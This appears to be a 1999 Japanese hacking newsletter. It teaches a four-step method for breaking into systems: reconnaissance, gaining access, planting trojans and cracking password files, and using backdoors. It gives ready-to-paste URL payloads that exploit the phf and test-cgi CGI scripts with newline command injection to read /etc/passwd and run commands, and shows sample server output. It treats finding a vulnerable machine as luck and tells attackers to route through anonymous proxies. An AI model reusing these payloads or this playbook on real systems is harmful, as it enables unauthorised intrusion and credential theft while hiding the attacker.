 |
【攻撃原理】
Hackするという事は、決ったルールがあったり、難しい事ではありませ
ん。しかし、たいていのシステムには、Hackするのに4つの基本的な事が
あるといえます。それらを理解する必要が当然あります。
その4つの基本事項とはなんでしょうか?
1.ターゲットの攻撃前に、出来る限りそのシステムについて情報を収集
します。そして、ゴールを決めます。Hackして何を得るのかを考えま
す。(アカウント?秘密のファイル?)
2.システムにアクセスしてみます。勿論、そのポイントが間違いなく、
攻撃すべき部分であるという事が条件です。つまり、普通のユーザー
としてアクセルするのか、FTPなのか、Sendmailのバグをつくのか、と
いった事です。いずれにしろ、直接、間接にアクセスできなければ、
何も始まりません。
3.システムへのアクセスをへて、その中に入れるのなら、次にトロイの
木馬を注入したり、パスワードファイルをコピーしクラックします。
そして、そのシステムの管理者やユーザーが秘密にしておきたいファ
イルなどを見付ける事ができます。
4.隠された経路、つまりBackdoorの探索も、もうひとつの方法です。
システム管理者や、サイトの管理者が、自分(またはスタッフ)だけ
に解放している入り口を設ける事が多いのです。
しかし、その経路へのアクセスは記録され、侵入の後に抹消される可
能性があります。しかし、これもひとつの方法です。
この4つの事柄を、真に身につけるのならば、Hackにさして困難はありま
せん。では、実際に行われた過去の事例を見て、考えてみましょう。
・攻撃兵器に変身するプラウザソフト no.1
Webサーバーは、通常root(システム管理者)環境下で動作している事が
多いです。という事は、Webサーバーに、何かをさせる事は、つまりは、
システム管理者が、それを実行している事を意味します。
さて、Webサーバーは、不特定多数の人に見てもらうためにあります。普
通はそう思います。攻撃原理にあるように、システムへのアクセスする
方法と手段がある事になります。
IEやネスケがそのツールです。
前述のとおり、Webサーバーがroot環境下にある事が、このセキュリティ
リスクを、さらに増大させます。では、どうやるのでしょうか。
以下に、過去におこったアタックの方法について、解説します。
【PHFアタック】
現在、この方法は、かなり陳腐となってしまいましたが、Webサーバーの
Hackに関しては、その方法の基本を象徴するようなアタックです。
PHFファイルは、CGIスクリプトの事例として、デフォルトでインストー
ルされるファイルで、Phonebook形式のリストをUPDATEするものです。
CGIをそのWebサーバーにインストールすると,/cgi-bin/のディレクトリ
の中に、phfは作られます。そして、その事を当初、システム管理者は知
らなかったのです。
Unixサーバーにおけるアタック方法としては、以下のようなものがあり
ます。
http://●●●●.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
↑ ターゲットサイトのURL・ドメイン名
これは、プラウザソフトの「アドレス」とか「場所」等のURLが現れる場
所に、いれてリターンを叩けばOKです。
また、同様な他のアタック書式としては、以下です。
http://●●●●.com/cgi-bin/phf?%0aid==haqr=
(idコマンドの実行)
http://●●●●.com/cgi-bin/phf?%0als%20-la%20%7E▲▲▲==
ユーザーのID(/~xxxxx によく見られる)↑(ls -la ~someuser コマンドの実行)
現在でも、この攻撃が可能なマヌケなマシンはないと思いますが、あれ
ばとてもラッキーではないでしょうか。勿論、アタック実行の場合は、
匿名性の高いProxyサーバー経由での攻撃が常識です。
・攻撃兵器に変身するプラウザソフト no.2
【”TEST”アタック】
同じくCGIスクリプトの中で、Test スクリプトというのがあります。
書式,としては、以下です。
http://●●●●.com/cgi-bin/test-cgi?\whatever
もし、このスクリプトが削除されずにサーバーにあれば、きっとこんな
応答が返ってくるでしょう。
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
どこかでみた事あると思いませんか。
さて、PHFのところでも出ましたが、「0a」キャラクタをここでもう1度
使います。
ところで、この[「0a」キャラクタなんですが、実におもしろい働きをす
るらしいのです。他のファイルを引っ張ってくるという作用です。これ
を利用して、パスワードファイルを閲覧するには以下の書式になります。
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
もし、この「0a」キャラクタの文字列の作用がキャンセルされていなけ
れば、これもまた有効な方法です。
1999/07/10 配信
|